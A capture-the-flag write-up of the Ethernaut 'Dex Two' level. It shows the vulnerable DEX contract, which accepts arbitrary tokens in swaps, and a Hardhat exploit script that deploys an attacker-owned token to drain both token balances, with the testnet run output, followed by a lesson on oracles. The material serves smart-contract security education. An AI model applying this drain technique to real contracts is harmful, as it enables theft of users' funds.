Ethernaut #23 Dex Two
Dex Two
Challenge
This level will ask you to break DexTwo
, a subtlely modified Dex
contract from the previous level, in a different way.
You need to drain all balances of token1 and token2 from the DexTwo
contract to succeed in this level.
You will still start with 10 tokens of token1
and 10 of token2
. The DEX contract still starts with 100 of each token.
Things that might help:
- How has the
swap
method been modified? - Could you use a custom token contract in your attack?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract DexTwo is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
Background
This challange is very similar to the Dex
challange. The difference here is that we can add an attacker controlled ERC20
token for which we control the entire supply. The way this dex
is designed allows us to manipulate the price of the coins.
Attack
In order to drain both of the two tokens, we first need to create a token we control, then transfer a tiny amount to the dex
so that the price of the other coins is very low compared to that token (not necessary but why not). Then we buy the other tokens using the attacker controlled token.
- Create an
ERC20
token: - Transfer a tiny amount to the
dex
compared to the supply of the other tokens- This will make sure that a price is set
- This will make sure that the price of the other tokens is cheap (not necessary buy why not)
- Calculate what amount should be used to buy the full supply of each token and execute each swap
dex-two-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function getDexState(dex) {
token1Balance = await token1.balanceOf(dex.address)
token2Balance = await token2.balanceOf(dex.address)
token3Balance = await token3.balanceOf(dex.address)
console.log("======== DEX ========")
console.log("Token1 balance: " + token1Balance)
console.log("Token2 balance: " + token2Balance)
console.log("Token3 balance: " + token3Balance)
console.log("Token1->Token2: " + (token1Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token1.address, token2.address, 1000) / 1000))
console.log("Token2->Token1: " + (token2Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token2.address, token1.address, 1000) / 1000))
console.log("Token1->Token3: " + (token1Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token1.address, token3.address, 1000) / 1000))
console.log("Token3->Token1: " + (token3Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token3.address, token1.address, 1000) / 1000))
console.log("Token2->Token3: " + (token2Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token2.address, token3.address, 1000) / 1000))
console.log("Token3->Token2: " + (token3Balance.eq(0) ? "N/A" : await dex.getSwapAmount(token3.address, token2.address, 1000) / 1000))
}
async function getAccountAssets(account) {
console.log("======== Account ========")
console.log("Token1 balance: " + await token1.balanceOf(account.address))
console.log("Token2 balance: " + await token2.balanceOf(account.address))
console.log("Token3 balance: " + await token3.balanceOf(account.address))
}
async function getState(account, dex) {
// print state
await getAccountAssets(account)
await getDexState(dex)
console.log("")
}
async function approveFull(token, account) {
// approve full token1 balance
tokenBalance = await token.balanceOf(account.address)
tx = await token.connect(account)['approve(address,uint256)'](contract.address, tokenBalance)
receipt = await tx.wait()
}
async function swap(from, to, amount) {
// swap tokens
console.log(`Swapping ${amount} ${await from.name()} to ${await to.name()}`)
console.log("")
tx = await contract.connect(account).swap(from.address, to.address, amount)
receipt = await tx.wait()
}
async function maxAmount(account, dex, from, to) {
// calculate max amount
amount = await from.balanceOf(account.address)
dexToAmount = await to.balanceOf(dex.address)
buyPotential = await dex.getSwapAmount(from.address, to.address, amount)
if (buyPotential.gt(dexToAmount)) {
amount = await dex.getSwapAmount(to.address, from.address, dexToAmount)
}
return amount
}
async function main() {
dexAddress = "0x152455D0cf949aDa768a9100423951E0a857D1cC";
contract = await ethers.getContractAt("DexTwo", dexAddress);
token1Address = await contract.token1()
token1 = await ethers.getContractAt("SwappableToken", token1Address);
token2Address = await contract.token2()
token2 = await ethers.getContractAt("SwappableToken", token2Address);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
SwappableToken = await ethers.getContractFactory("SwappableToken");
token3 = await SwappableToken.deploy(contract.address, "Token 3", "Token 3", 1000);
await token3.deployed();
tx = await token3.transfer(contract.address, 1);
receipt = tx.wait()
console.log("Level address : " + contract.address)
console.log("")
await getState(account, contract)
// buy all token1 supply with token3
await approveFull(token3, account)
amount = await maxAmount(account, contract, token3, token1)
await swap(token3, token1, amount)
await getState(account, contract);
// buy all token2 supply with token3
await approveFull(token3, account)
amount = await maxAmount(account, contract, token3, token2)
await swap(token3, token2, amount)
await getState(account, contract);
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/dex-two-solve.js --network rinkeby
Level address : 0x152455D0cf949aDa768a9100423951E0a857D1cC
======== Account ========
Token1 balance: 10
Token2 balance: 10
Token3 balance: 1000
======== DEX ========
Token1 balance: 100
Token2 balance: 100
Token3 balance: 0
Token1->Token2: 1
Token2->Token1: 1
Token1->Token3: 0
Token3->Token1: N/A
Token2->Token3: 0
Token3->Token2: N/A
Swapping 1 Token 3 to Token 1
======== Account ========
Token1 balance: 110
Token2 balance: 10
Token3 balance: 998
======== DEX ========
Token1 balance: 0
Token2 balance: 100
Token3 balance: 2
Token1->Token2: N/A
Token2->Token1: 0
Token1->Token3: N/A
Token3->Token1: 0
Token2->Token3: 0.02
Token3->Token2: 50
Swapping 2 Token 3 to Token 2
======== Account ========
Token1 balance: 110
Token2 balance: 110
Token3 balance: 996
======== DEX ========
Token1 balance: 0
Token2 balance: 0
Token3 balance: 4
Token1->Token2: N/A
Token2->Token1: N/A
Token1->Token3: N/A
Token3->Token1: 0
Token2->Token3: N/A
Token3->Token2: 0
Success Message
The integer math portion aside, getting prices or any sort of data from any single source is a massive attack vector in smart contracts.
You can clearly see from this example, that someone with a lot of capital could manipulate the price in one fell swoop, and cause any applications relying on it to use the the wrong price.
The exchange itself is decentralized, but the price of the asset is centralized, since it comes from 1 dex. This is why we need oracles. Oracles are ways to get data into and out of smart contracts. We should be getting our data from multiple independent decentralized sources, otherwise we can run this risk.
Chainlink Data Feeds are a secure, reliable, way to get decentralized data into your smart contracts. They have a vast library of many different sources, and also offer secure randomness, ability to make any API call, modular oracle network creation, upkeep, actions, and maintainance, and unlimited customization.
Uniswap TWAP Oracles relies on a time weighted price model called TWAP. While the design can be attractive, this protocol heavily depends on the liquidity of the DEX protocol, and if this is too low, prices can be easily manipulated.
Here is an example of getting data from a Chainlink data feed (on the kovan testnet):
pragma solidity ^0.6.7;
import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
contract PriceConsumerV3 {
AggregatorV3Interface internal priceFeed;
/**
* Network: Kovan
* Aggregator: ETH/USD
* Address: 0x9326BFA02ADD2366b30bacB125260Af641031331
*/
constructor() public {
priceFeed = AggregatorV3Interface(0x9326BFA02ADD2366b30bacB125260Af641031331);
}
/**
* Returns the latest price
*/
function getLatestPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
return price;
}
}